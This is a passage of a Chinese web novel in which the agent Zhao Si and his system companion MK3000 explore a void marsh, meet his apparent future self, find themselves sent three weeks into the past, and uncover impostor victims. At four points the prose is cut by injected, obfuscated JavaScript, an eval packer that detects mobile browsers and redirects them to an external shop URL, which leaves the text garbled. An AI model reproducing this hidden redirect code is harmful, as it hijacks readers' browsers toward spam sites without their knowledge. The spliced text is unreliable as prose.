——确实如此。 赵四眯了眯眼睛问小七,“虚沼生物在事务署的官方定义是什么?” “等、等等,这种时候突击考试吗??” “回答我的问题。” 背书困难户的小七呆了一下,随即开始苦苦回忆:“……哦,那个,虚沼生物……不就是没有固定形状的、会攻击人的、碰到就会让人变得不对劲的东西吗……?” 小七说的“虚沼生物”,听起来…… “事务署对这东西有研究吗?” 小七这次很快就答了出来。 “有啊,专门有个部门研究这个,叫虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379002|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沼生物研究室来着。” “他们说这些东西是虚沼里自然产生的,没有智慧,只有本能,会攻击一切靠近虚沼的人类。” 赵四点点头,没再说什么。 但他心里在问:【三儿,事务署的资料库,能黑进去看看吗?】 MK3000:【已经在看了。】 【有什么发现?】 MK3000直接把重点资料给赵四标记了,然后发到了专员面板上。 专员面板上立刻弹出一串文件,最上面那个标题是《虚沼生物研究报告·绝密》。 赵四点开,一目十行地扫过去。 报告写得很详细。 分类、编号、形态描述、攻击模式、应对方案一应俱全。 每一种“虚沼生物”都被贴上了标签,画出了图谱,甚至还有模拟复原的三维模型。 这看起来是一份非常专业的、经过了长期积累的研究报告。 但赵四看着看着,眉头就皱了起来。 那些分类、那些编号、那些形态描述……这么说吧,这篇报告里的所有东西,全都是在用一个完全错误的框架,去套一个他们根本不了解的东西。 看完了这篇报告,赵四已经能肯定了——虚沼事务署把情绪构造体当成了“虚沼生物”。 把那些从里世界溢出的、被虚沼裹挟着冲到表世界的构造体,当成了原本就在虚沼里存在的、没有智慧只有本能的怪物。 报告里有一段话被写这份报告的人标了高亮,旁边还加了一个感叹号,像是写报告的人对自己的发现非常得意: “虚沼生物的行为模式与已知的任何生物都不同,它们似乎不遵循物理法则,能够随意改变形态,且具有强烈的攻击性。初步判断,虚沼生物可能是一种全新的生命形式,其能量来源与虚沼同源。” 赵四看着这段话,沉默了足足五秒。 然后又点开第二份文件。 《虚沼能源应用前景展望·绝密》。 他扫了一眼摘要,嘴角实在没忍住的抽了一下。 “……虚沼能量具有清洁、高效、可持续的特点,若能实现商业化应用,将彻底改变人类的能源结构……” “目前最大的技术瓶颈在于虚沼能量的不稳定性,若能解决这一问题,虚沼能源将成为未来最具潜力的清洁能源……” 赵四关掉文件,吐了口气。 【三儿。】 【嗯。】 【他们要把虚沼当能源用。】 MK3000默默在对话框里打了一个句号。 不是没槽可吐了,实在是没话说了。 要知道,在这个世界里,虚沼可不是那么无害的东西。 虚沼漏得越多,世界崩得越快。 他们用这东西当清洁能源的未来,那不是嫌自己死得不够快吗? 不过换个角度想想,这逻辑似乎也没毛病。 他们不知道虚沼是什么,不知道里世界是什么,不知道情绪构造体是什么。 他们只知道虚沼里有一种巨大的、稳定的、似乎取之不尽的能量。 对于一个能源紧缺的世界来说,这简直是天上掉下来的馅饼。 只是天上哪里会掉真馅饼啊。 这馅饼里面藏着的,是一把能杀死所有人的快刀。 74.第74章 玫瑰战争32 不过不管怎么说,这把杀人刀真正落下的时候还早。 至少现在,他们还不用太着急面对。 祝福MK3000多关注一下相关情报后,赵四跟着小七去找先进来的沈恕。 他们穿过最里面的警戒线,走过一段被“水”浸泡过的路面。 鉴于虚沼不可直接接触的特性,他们走的是用了点技巧架设在路面的简易栈道,没有直接接触那些“水痕”。 栈道很窄,只容一人通过,脚下的金属网格透着下面黑沉沉的地面,踩上去嘎吱嘎吱响,像踩在一具老旧的骨架上。 随着深入,空气里逐渐弥漫出一种水源充沛地区常有的潮湿气味。 就仿佛这些虚沼能量真就是无害的湖水一样。 在湖边,赵四看见了沈恕。 沈恕也穿着防护服,配套的面罩却没有拉下来,就那么挂在脖子上,露出整张脸。 他面对着平静的湖面,从身上延伸出来的丝线在空气中微微颤动。 那些丝线在不明朗的天光下泛着微弱的光,比赵四任何时候看到的都要绷的更紧。 赵四走近的时候,沈恕没有回头。 他只是站在那里,看着湖面。 赵四没急着说话,只是顺着他的目光看过去。 应该是距离的问题,在远处的时候湖面上明明什么也没有,而现在,他到了满足条件的距离。 他突然就能“看到”了。 ——他看到湖面上生满了玫瑰。 MK3000那里有梁焕晨画作的全部资料,它紧急比对了一下,确认现在虚沼上出现的那些花,的确就是梁焕晨画中出现过的玫瑰。 如果仔细看,甚至还能看出玫瑰上因不同画法而导致的笔触不同。 它们从湖底长出来,穿过水面,在微风下轻轻摇晃。 沈恕终于说话了,他偏过头,看着赵四的侧脸,轻声说道:“你来了……看,这片虚沼还在肉眼可见的扩大。” 赵四看了一会儿,发现他说的是对的。 湖岸线正在以一种极其缓慢的、几乎不可察觉的速度向外推移。 那不是水的流动,而是边界的消融。 但是,这也只是错觉。 因为实际上,据事务署的仪器检测,虚沼的物理实际面积并没有扩大。 它现在的面积增长,更像是在另一个空间中蔓延。 赵四站在那里,看着那片花与水。 【那底下有东西。】 MK3000贴出来了能量数据图,认同赵四的话,【确实有,你准备进去看看?】 【在作出决定前,我再向你确认一下——我进虚沼,再出来的时候会失忆吗?】 这是个好问题。 “只要有人进了虚沼,再出来必然会失忆”这个是本世界的底层逻辑之一,但是吧,赵四现在的身份卡可不算人。 严格来说,青阳渡的特性,其实和情绪构造体那边比较接近。 而情绪构造体,只看阿云就知道了,它们进出虚沼是完全不会失忆的。 由此可得,披着青阳渡马甲的赵四,大概率会没事。 分析完这些,MK3000严谨道:【其实风险还是会有的,专员,怎么说?】 那还有什么说的。 【我得去看看。】 MK3000给自己塞了颗糖,含糊道:【成,你放心去,最高级防护墙我一直开着呢。】 只要不是专员主动要求关防护,哪怕是直面古神,它也能给赵四给完整无缺的带回去。 赵四咂舌。 看来上次还是给自家搭档留下心理阴影了…… 刚下完决定,沈恕那边就像感觉到了什么。 他开口的声音很低:“……你是不是要进去?” 赵四没有立刻回答。 他看了一眼沈恕。 那些丝线在他身上缠得更紧了,从肩膀到胸口,从胸口到腰际,像一张被拉满的弓。 沈恕从这一眼中已经得到了答案。 “你又要冒险了。” 赵四哈的笑了一声,“没办法,我的责任在那放着呢。” 沈恕看着赵四,一时想说这次的虚沼实在诡异,不要去,一时又想说你根本就不知道那下面是…… 但他的喉咙里就像压了块石头,怎么也说不出话。 那些丝线在他身上猛地绷了一下又缓缓松开,像是一口气提到了胸口又生生咽了回去。 赵四无所谓的拍拍沈恕的肩膀,向前走。 “事务署那边给你的压力也不小吧……我不去,就得你们去了。与其让更多的人白白牺牲,不如我先去探探情况……在这等我回来,沈队长。” 沈恕的眸光动了动,只是站在那里,看着赵四靠近了湖边。 湖水没过他的鞋面,漫过他的脚踝。 那些玫瑰在赵四身边轻轻摇晃着,花瓣擦过他的裤腿,发出细微的沙沙声。 继续往前,湖水没过他的膝盖。 那些玫瑰开始动了。 不是被水波推动的那种动,而是更主动性的动。 它们从四面八方涌过来,花瓣擦过他的腰侧、手臂、肩膀,像无数只柔软的手在轻轻触碰他。 那些触碰里没有恶意,甚至没有试探,只有一种纯粹的、几乎要溢出来的……渴望。 像是种子渴望土壤,像是河流渴望大海,像是被拆散的东西在渴望它的另一半。 紧接着,湖水没过他的腰。 玫瑰已经把他围得密不透风了。 不同颜色的花瓣层层叠叠地贴在他身上,柔软的、微凉的、带着一点湿意。 潮湿的情绪堆积着变成一串串水珠,轻拽着他向前、再向前。 赵四感觉到胸腔里有什么东西动了一下。 他伸手按住胸口,感知到心脏处有根系钻入,有形或无形的东西开始生长。 有声音开始传来。 层层叠叠、嘈嘈切切。 【三儿,你听到了吗?】 MK3000:【确认是精神污染,防护墙已经过滤了有害部分,留下的声音确保无害。】 其实声音也可以直接屏蔽的,但是由于有时候这些呓语也能带来一定的信息,赵四之前手动更改了这部分的权限配置。 确定这玩意无害后,赵四深吸了一口气。 然后他沉入了水中。 玫瑰蜂拥而至。 它们从四面八方涌过来,把他整个人包裹在一层又一层的柔软之中。 那些花瓣的触感从微凉变成温热,从温热变成滚烫,从滚烫变成一种无法用温度描述的东西,在赵四的脑子里轰然炸开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383235|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那是情绪。 十个人的、一百个人的、一千个人的……数不清的开心、喜欢、希望和爱。 它们从花瓣里渗出来,顺着他的皮肤钻进血管,顺着血管流进心脏,顺着心脏泵到全身。 每一寸肌肉、每一根骨头、每一条神经都在被那些情绪浸泡着、充盈着、撑开着。 赵四理应感觉到自己正在膨胀。 ——但他没有。 他的灵魂躲在MK3000撑开的防护后,属于青阳渡的身体则适应的十分良好。 他安静地落到了湖底,适应了一下后,睁开眼睛看向四周。 湖底并非黑暗,这里有光。 那是红色的、温暖的,让人联想到血液在奔流的、充满生命力的光。 那光从湖底最深处的巨大空洞中传来,空洞的边缘参差不齐,那些切割的痕迹,他在里世界见过。 而现在,那个洞被玫瑰簇拥着填满了。 无数的玫瑰从刻痕中长出来,一层一层、一圈一圈的向洞的中心蔓延。 柔软的花瓣在水中摇曳,纤细的根须在黑暗中纠缠。 越往深处越密,越往深处越黑,空洞最中心的地方已经看不清玫瑰的形状了。 放眼看去,只有一片连绵的、浓稠的、红得发黑的光。 玫瑰在深渊中盛开,将未知妆点成华丽的礼物。 它们仿佛在邀请赵四上前一探。 来都来了,赵四必不可能在此时放弃探索。 他欣然应邀,不断向下,再向下。 湖底的空洞比他想象的更深。 黑暗从四面八方挤压过来,像一只正在合拢的手掌。 他往下沉了一分钟、两分钟、五分钟……时间和距离在这里都失去了意义。 他分不清自己沉了多久,又沉了多深。 MK3000所记录的标准时间没有太多参考价值,那些数字跳得毫无规律,有时快得像飞,有时慢得像停住了。 赵四注意了几次后就索性不再去看,就这么一直沉啊沉的。 突然,在某一刻,他看见了一个人影。 那个人影蜷缩在空洞的最深处,被无数根须包裹着,像一颗被埋在土里的种子。 这影子挺眼熟,赵四和它在梦中见过。 这下猛地在现实里看见黑影,赵四有种不知道自己是否还在做梦的错乱感。 但很快,赵四就把它和梦中的黑影做了区分。 原因很简单——这里的黑影,它有脸。 而好巧不巧的,那张脸赵四认得。 MK3000下意识拍了照,才惊讶道:【青阳渡??】 是的,青阳渡。 黑影长了一张和身份卡一模一样的脸。 它闭着眼睛,像是睡着了。 赵四在它面前停下来,只稍稍靠近,玫瑰的根须就放开了这颗漂亮种子。 它们从他脚边游走,像无数条安静的小蛇,一条接一条地消失在黑暗里。 等根须散干净,那个人影的眼皮动了动。 它慢慢地、艰难地睁开眼睛,在看到赵四后,对他露出了一个单纯的笑容。 然后它张开嘴。 其实黑影并没有发出声音,但赵四就是能“听”到。 它在说—— “时间到了。” 75.第75章 玫瑰战争33 时间。 一提起这两个字,赵四脑海里第一时间跳出来的,只有那个来历不明的神秘包裹,以及上面那行像谜语一样绕人的短句。 MK3000帮他回忆原文:【死亡的使者啊,你还有七个月落的时间。让将要发生的不再发生,让已经死去的不再醒来。】 【七个月落……现在过去多久了?】 MK3000难得在这方面没什么底气,【这里时间表述混乱,很难说你到底在这里待了多久。】 赵四还想说点什么的时候,他手腕上的助手一号突然发出清脆的提示音。 “主人,祝您七天快乐——您设置好的时间到啦。” 赵四猛地一怔,皱眉道:“等等……” 他什么时候设过这种提醒? 他下意识想开口问,可话音还没出口,对面那个“青阳渡”倒是笑了起来。 那笑容轻松又愉悦,像是一个等候已久的人,终于等到了该来的时刻,忍不住想恶作剧一番。 下一秒,它动了。 那只伸来的手骤然攥住赵四的衣领,力道不算蛮横,却拿捏得极巧。 只轻轻一拽,赵四便被拉到近前,两张脸一模一样的脸几乎要贴在一起。 它垂眸望着他,琥珀色的眼底笑意愈浓。 “初次见面,也是最后一次见面。哈哈,你现在是不是在猜我是谁?” 赵四喉间一紧:“你……” “别费脑子了,一会儿你就知道了。至于现在——” 他只来得及看清对方嘴角那抹恶作剧得逞的弧度,后脑勺便被什么东西重重一拍。 没有痛感,可整个世界在刹那间被拉得无比遥远。 周遭的玫瑰、光晕、层层缠绕的根须飞速后退,褪成纤细的线,散作细碎的光,最终融成一片模糊的虚影。 一道声音从极远的地方飘来,带着几分戏谑:“进去吧你——” 再之后,便什么都没有了。 他□□脆利落地拍晕,直接物理哄睡。 MK3000在操作间里目睹全程,毛绒绒的触手尖尖都绷紧了。 它看着赵四的身体在湖底软倒,被那道身影稳稳接住,随即毫不犹豫地朝着空洞深处狠狠一掷。 那些原本缠在赵四身上的丝线,像是被一阵微风拂过,一根根无声断裂。 可这并非结束。 MK3000的视角始终跟随着赵四,在一同急速坠落的瞬间,它看见那些断开的丝线竟疯狂回卷,密密麻麻缠 那道黑影很快被裹成一个硕大的线团,那模样…… MK3000一时找不到合适的词形容,只下意识对着黑影连拍数张照片,视野便随距离被彻底拉远。 失去黑影的踪迹后,MK3000跟着赵四一同坠入空洞最底端。 …… 猛地从混沌中惊醒,赵四几乎是弹着坐直了身体,后背重重撞在办公椅的靠背上,发出一声沉闷的响。 眼前不再是湖底幽暗的空洞,这里没有缠绕的根须,没有诡异的玫瑰,更没有那双带着戏谑笑意的琥珀色眼睛。 他大口喘着气,身上出的汗几乎要打湿衣服。 【三儿?!】 【我在,专员,我们都没事,现在请冷静。】 赵四听见了回应,松了口气的同时,警惕地开始确认周围环境。 眼前熟悉的场景让他瞳孔微缩。 他正坐在青阳渡的事务所里。 壁炉里的火焰烧的旺盛,带着一丝蓝调的暖橙色的火光漫过墙面,将整个房间裹进一种安稳又慵懒的氛围里。 空气里飘着淡淡的松木香气,混合着旧纸张的味道,是他最近刚刚熟悉起来的气息。 室内一派安宁静谧,赵四仿佛只是在某个平常的午后,打了一个冗长的盹。 而刚才在湖底经历的拉扯、坠落、那道诡异的身影,都只是一场过于真实的噩梦罢了。 他抬手摸了摸后脑勺,那里也没事。 没有痛感,没有红肿,连一丝被拍打过的痕迹都找不到。 就好像那句 “进去吧你” 和突如其来的晕眩,全是他的幻觉。 回来了? 这个念头刚冒出来,就被赵四掐灭。 不对劲,太不对劲了。 他冷静下来,目光快速扫过事务所的每一个角落。 家具摆放整齐,文件归置妥当,所有东西都在它该在的位置,完美得挑不出一点毛病。 最终,他的目光定格在墙上的那幅画上。 就是这幅画,之前一直蒙着一层朦胧的水雾,看不真切里面的轮廓。 最开始他以为是青阳渡在装饰物上的个人爱好,但是后来他也注意到了,这画里的水雾正随着时间的推移而逐渐减淡。 由此可见,这绝不是个简单玩意儿。 他之前没来得及深究,现在倒是不得不从这下手了。 ——此刻,那些缭绕不散的水雾已经尽数散去,画面清晰而完整地展露出全貌。 画上是一片湖水,水的正中央,漂浮着一只黑色的巨茧。 这画面可太熟悉了,MK3000将之前拍摄的照片传给了赵四。 【专员,这是我在你昏过去之后拍的,你看。】 照片与画作之间明显显示的是同一幅场景,就算有所区别,那也只是角度问题而已。 这画果然有问题。 而且…… 【我身上的线断了?】 【对,全断了,后来都连在那个黑影身上,变成这个茧了。】 赵四皱了皱眉,他站起身,快步走到墙边,抬手轻轻取下这幅画。 画框不算重,木质边框被打磨得光滑细腻,他指尖抚过画布,没有任何异样。 沉吟片刻,他将画翻转过来,仔细检查画框背面。 手指顺着背板的缝隙摸索而过,忽然触到一个硬而薄的东西。 那与背板同色的小东西被巧妙地卡在夹缝里,不仔细查看,还真发现不了。 他心头一动,小心翼翼地将那东西取了出来。 那是一张折叠整齐的纸条,纸张质地特殊,泛着淡淡的哑光,摸起来微凉。 赵四皱着眉展开纸条,上面没有多余的字迹,只有一行简洁的提示:去确认现在的时间。 他拂过那凌厉的字迹,沉默了一会,才缓缓扶住了自己的额头。 【三儿啊……】 MK3000牙疼似得抽了口气,【专员啊,我怎么觉得这字这么眼熟呢?】 赵四释然地笑了。 对啊,很熟悉吧。 ——能不熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387180|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗,那是赵四自己的字! 话说从刚才他就想说了,那个湖里的黑影,那个促狭的笑,看起来也很眼熟啊! ——能不眼熟吗,赵四自己想恶作剧的时候,就是这么笑的! ……不过说实话,自己的笑容出现在青阳渡这张身份卡的脸上,是真的有点吓人。 还有那个发力技巧、拍后脑勺的手法……可疑的地方太多了。 这些疑点加起来,将事情的走向引向了一个赵四之前并没有想过的方向。 【那个黑影恐怕就是我,大概率是未来的我。那家伙故意露出破绽,暗示自己的身份……他恐怕是想让我配合自己的计划往下走吧。】 MK3000发出了原来如此的声音,然后问:【所以,计划是?】 【我不知道。】 至少现在的赵四是真的不知道。 那么问题来了,他应该怎么去配合一个完全不知道内情的计划? 在这点上,MK3000和赵四经讨论后,得出了一致答案。 ——顺水推舟。 道理很简单。 假如黑影没有提任何关于计划的事,那只说明他认为赵四有能力在不知道具体情况的情况下,顺顺当当的完成计划。 MK3000感慨:【这是被安排了啊,专员。】 赵四把画挂回去,再度确认这间事务所没有任何能显示时间的物品。 他刚要从镜子出去,去302再看时间的时候,动作突然一停。 不对啊,助手一号没跟着他一起过来? MK3000也是才发现,毕竟助手一号变成这个世界的智能助手之后,和它的联系就很微弱了。 再加上刚刚和赵四一起勇闯虚沼,冲击有点大,一时半会还真没想起来助手一号的事。 【它彻底断联了。】MK3000检索完,发现问题很大,【我留在助手一号那边的数据被完全删除了……难道是它自己干的?】 【……先出去再说吧。】 赵四压了压太阳穴,决定先出去看看时间到底怎么了,再说助手一号的事。 他一步跨出镜子,回到了熟悉的302。 MK3000凝重的声音同一时刻响起,【我连不上外界的网络了。】 赵四:【啊?】 这又不是连一次就清除历史记录的东西,按道理讲,只要系统连上了网,那就能反复连接啊! 之前在事务所连不上也就算了,毕竟都不是同一个空间。 结果现在都回302了,MK3000竟然还是连不上表世界的网络,这就有点…… 确认周围环境无威胁后,他碰了碰客厅的电视,让MK3000先接上外界网络再说。 这一连不要紧,一人一统很快就知道为什么之前没网了。 【正在连接……连接成功。】 【检测到当前时间有误……正在重新校准……】 MK3000停了几秒没说话,应该是在短时间内重新校准了好几遍系统时间。 赵四闭了闭眼睛,已经猜到发生了什么了。 果然,MK3000最终校准出来的时间往那一摆,他俩都陷入了头脑风暴。 那是三周前的日期。 ——他们竟然回到了这个世界的二十一天前。 76.第76章 玫瑰战争34 赵四靠在电视柜上,盯着面板上那个日期看了好一会儿。 窗外有鸟叫声,远处有早点铺子开门的动静。 楼下有人在遛狗,狗在叫,主人在呵斥。 一切都很正常,正常得像任何一个普通的早晨。 【三儿,你说助手一号的数据,是被谁删的?】 MK3000沉默了一下:【你怀疑是未来的你干的?】 赵四没有回答。 他走到窗边,看着外面早点铺子的蒸笼冒着白气。 老板娘在门口扫地,一个穿校服的学生匆匆跑过,书包在背上一颠一颠的。 对面那栋楼的阳台上,有人在浇花,水珠从三楼洒下来,在晨光里闪了一下。 回到过去意味着什么? 意味着本来已经死去的人还活着。 他想起刘大勇,那个在小饭馆里记流水账的厨子。 他现在应该还在菜市场里挑菜,和熟悉的菜贩子讨价还价,为一毛两毛争半天。 张维安则会在那栋小洋楼里写他的小说。 门口的桂花树应该开了,空气里应该飘着甜腻的香。 于海波在他的别墅里,和妻子一起吃早餐,听两个孩子叽叽喳喳地说学校里的事。 周明远待在他的公司里,坐在那间能看到城市天际线的办公室里,喝咖啡,看报表,开那些开不完的会。 梁焕晨……梁焕晨会在那间还没被虚沼吞没的画廊里,在那幅巨大的画前站着,指尖隔着空气描摹那些玫瑰的轮廓。 他们都还活着。 原来不是未来的自己没有给他递话,而是只要意识到了这个时间点,他就会知道自己要干什么了。 想想看吧。 当时署长给他看档案的时候说了什么? 说青阳渡之所以被列为本案的第一嫌疑人,是因为那五份档案所对应的人,都和青阳渡在一个月内见过面。 他现在回到了二十一天前,那岂不是说明和他们见面的“青阳渡”……实际上就是赵四自己? 毕竟事务所和二十一天后毫无区别的意思就是—— 那块写着“近日如有紧急委托,请联系助手一号”的小黑板还在那里待着。 壁炉里的火还在烧,会客簿还躺在桌上,那幅画还挂在墙上。 一切都在它该在的位置,一切都和二十一天后一模一样。 除了时间。 赵四站在窗前,看着外面那条安静的、还在晨光中慢慢醒来的街道。 天已经亮了。 他倒影在玻璃上的虚影在凝视着自己。 他朝自己笑了笑。 接下来的三周,赵四得去见五个人。 刘大勇、张维安、于海波、周明远、梁焕晨。 五个人,五个在表世界相隔甚远的坐标。 ……五段在二十一天后都会走向同一个终点的故事。 而现在,一切都还来得及,所有故事都才刚刚开始。 …… 赵四决定先从刘大勇开始。 这其中固然有死亡顺序的原因,更多的也是因为他的店最好找。 而且只要是营业时间上门,一切都会显得的很正常。 这里也一切照旧,刘记小炒的招牌混在周围统一格式的招牌里,一点都不显眼。 推开门,里面飘出饭菜的香味。 赵四往后厨的方向看了几眼,正看见刘大勇站在灶台后面颠勺。 他穿着一件洗得发白的围裙,额头上全是汗,火苗从锅底蹿上来,映得他满脸红光。 不知道是不是感觉到有人在看,他手一抖,几条肉丝跟着些菜汤一起晃出了锅。 刘大勇手忙脚乱的丢下锅,摸索半天关了火。 然后又在原地瞎找了半天,才从犄角嘎达抽出几张纸巾,把落在灶台上的东西清到了垃圾桶里。 直到有服务员过来问他要吃什么,赵四才收回了视线。 他一边点菜,一边在心里叹气。 【完蛋了啊,三儿。】 MK3000:【喔,完蛋了呢,我们。】 一人一统一起再度叹了口气。 开门红啊。 这刘大勇,问题也太大了。 MK3000吐槽都有气无力的:【一个厨子,不会颠锅。】 赵四接上:【一个厨子,不会关火。】 这个既不会颠锅也不会关火的厨子,在混迹了数年的自家后厨,竟然连纸巾放在哪都找不到。 赵四点的菜很晚才上。 凭着最后一点微小的希望,赵四夹起一块土豆送进嘴里,缓慢地嚼了几口,然后咽了下去。 果不其然,不好吃。 很好,一个在四邻中评价颇好厨子,做的菜不好吃。 在赵四吃饭的时候,有几桌客人因为菜难吃,非要把厨子叫出来。 赵四默默旁听完了刘大勇和客人们针尖对麦芒的争吵,对刘大勇身上不自觉散发出的戾气侧目不易已。 死人真是太会隐藏秘密了。 二十一天后,这位刘大勇已经死了,赵四虽然来看过现场,但是也没有直接看见活着的人直观。 直到现在,赵四终于能确认一件事了。 这个刘大勇,是假货。 赵四付了账,走出店门的时候,感觉自己正在从一场噩梦中醒来。 他在门口站了一会,在刘大勇察觉不对,往门外看之前,他先一步离开了这里。 MK3000的声音很严肃,【专员,真正的刘大勇……】 【嗯,目前生死不明。】 在日记里说做了噩梦,想找虚沼侦探看看的那个刘大勇,已经无声无息的被替换了。 现在在这里拙劣地扮演着“刘大勇”的人,是那个找上青阳渡,去询问犯罪之后怎么样才能最大程度脱罪的人。 赵四问MK3000:【会客簿上的名字,有造假的可能性吗?】 【这……】 MK3000并不知道答案,知道更多的是助手一号,但是助手一号现在在哪都不好说呢,恐怕没办法一秒出现在这里,替赵四回答问题。 赵四也明白自己有点心急了,他摇摇头,暂时先搁置了这个问题,准备回去直接问会客簿本簿。 现在最紧要的是,是搞清楚这个是孤例,还是五个人都是这种情况。 在去第二站之前,赵四姑且稍做了些伪装。 虽然事务署那边之后能查出来五个人都见过赵四,按理来说,赵四只需要正大光明的去就行了。 但是实际上,这五个人都和事务署不清不楚的,应该都是重点保护(或者监视)对象。 只要赵四用“青阳渡”的身份大摇大摆上门,那下一刻沈恕就能带着一群大汉刷新在他家门口,替事务署署长委婉地传达对顾问的深情问候。 对着镜子整理衣物的时候,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393685|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四动作突然停下。 他竟然一直忽略了一个问题。 【三儿,你最开始给我名单的时候,是不是说,能买得起夜莺玫瑰的人,整个城市不超过二十个?】 MK3000的毛绒触手绷紧了,它也意识到了问题,喃喃道:【夜莺是很昂贵的玫瑰,刘大勇、刘大勇他……】 他只是个开小饭馆的厨子。 这么想想的话,他哪里来的钱买贵的吓人玫瑰花? 就算砸锅卖铁的去购买花朵,那这么做的意义又在哪里? 这根本不合逻辑! 破绽从最开始,居然就摆在面前。 MK3000紧急搜寻相关条目。 数据在它核心处理器里飞速流转,一个名字接一个名字地跳出来,又被它筛掉。 然后它找到了。 【在这座城市里,夜莺的唯一指定售卖人是老曲。我查了他们的账单——】 它停了一下,像是在反复确认自己没看错。 【刘大勇和老曲之间确实存在多条交易记录,但实际上,这些夜莺玫瑰并不是刘大勇买的。】 ——是其他四个人,在用刘大勇的名义在买这些玫瑰花。 但还是那个问题,赵四想不到做这一切的意义在哪里。 当然了,意义肯定是有的。 只是现在由于线索不足,暂时还无法清晰的看到它罢了。 赵四从镜子前离开,大步走向门外。 【时间不等人啊……走吧,接下来咱们去会会这位作家先生。】 看看他又能带来什么新线索。 …… 再次站在张维安的小洋楼门口,赵四心里颇有些感慨。 谁能想到呢,失去主人的房子,还能再度迎来它的主人。 赵四上前按了门铃,等了好一会儿,门才打开。 一个男人站在门后。 他看起来大概四十来岁,戴一副半框眼镜,穿着一件灰色的家居服,脚上趿着棉拖鞋。 头发乱糟糟的,像是刚从床上爬起来,又像是因为常年不出家门而导致的不顾形象。 男人——也就是赵维安看见赵四,愣了一下,然后有点紧张地问:“你好,你找谁?” 赵四举举手里的笔记本,自我介绍道:“我叫青阳渡,正在做课题,需要一部分调研数据……您介意花几分钟,做份调查问卷吗?” 赵维安有点不安地后退了半步,目光越过赵四的肩膀往街上扫了一眼,又收回来。 那个动作快且隐蔽,但瞒不过这一人一统。 MK3000道:【他在确认外面有没有别人。】 赵四在心底嗯了一声,表示了赞同。 张维安问:“要进屋吗?” “不不不,不用。”赵四赶忙摆手,语气轻松得像是在聊天气,“您在门口填一下就行,几分钟的事,不耽误您。” 张维安的肩膀松了一点。 赵四把笔记本和笔递过去,上面是他临时编的几道题。 什么“您平时阅读的频率”“最喜欢的文学类型”“对当代文学的看法”等等,当然了,全是废话。 赵四又不是真的来做调研的,他只是想拉长相处时间,好好看看张维安是什么样的人而已。 看着张维安在那边慢吞吞答题,赵四实在是没忍住,又对着MK3000叹了口气。 ——这个张维安,果然也不对劲啊。 77.第77章 玫瑰战争35 拿着张维安写好的问卷,赵四折了几折,妥善收好。 “谢谢配合,耽误您时间了。” 张维安摇摇头,说了句“没事”,带着迫不及待的劲儿关上了门。 赵四后退了几步,最后看了那扇关上的门一眼,转身走下台阶。 在这个世界中,只有赵四能看见的专员面板上,铺满了张维安的手稿。 那些字迹密密麻麻,有的工整,有的潦草,像是不同状态下写出来的东西。 过了几秒,手稿自动归类到了左侧,右侧则上传了那张问卷。 问卷上的字体很工整,横平竖直,一笔一画都透着股认真劲。 乍一看,似乎与那些手稿上的字迹还挺像。 但是,在这个世界上最好的笔迹鉴定专家,就在赵四身边。 MK3000沉重道:【笔迹相似度确实很高,但是……不是出于一个人之手。】 出乎意料吗? 也不是。 从刘大勇开始,赵四已经做好了相关心理准备。 他问MK3000:【三儿,你觉得张维安是什么时候被换掉的?】 MK3000想了想:【应该有段时间了。】 毕竟想要把别人的字迹变成自己日常使用的,除了大量的练习,还需要一定的时间。 短则几周,长则几个月,不可能一蹴而就。 赵四点点头,又问:【那么……之前咱们去搜查现场的时候,关于虚沼侦探的文字记录,是真的张维安失踪前写下的,还是这个假货写的?】 这点MK3000可以给出准确的答案:【是真的那个写的。】它说完后又补充道,【刘大勇的日记也是真的那个写的。】 赵四心里一动。 真的那个写的啊…… 两个人都是在被替换之前,留下了关于“虚沼侦探”的记录。 这种共同点,让赵四有了一个模糊的猜测。 但猜测终归是假的,想要完全确认,还是需要更多证据支撑。 【这几天你那边先查查这五个人近一年的消费记录,至于实地探访……还有三个,走吧,三儿。】 于海波可不好见,时间紧任务重啊。 作为政客,远远见几面很容易,但想要靠近长时间观察,那可不算简单。 于海波的日程排得满满当当,身边什么时候都不会缺人。 他日常所在的地方也不是赵四一时半会能进去的。 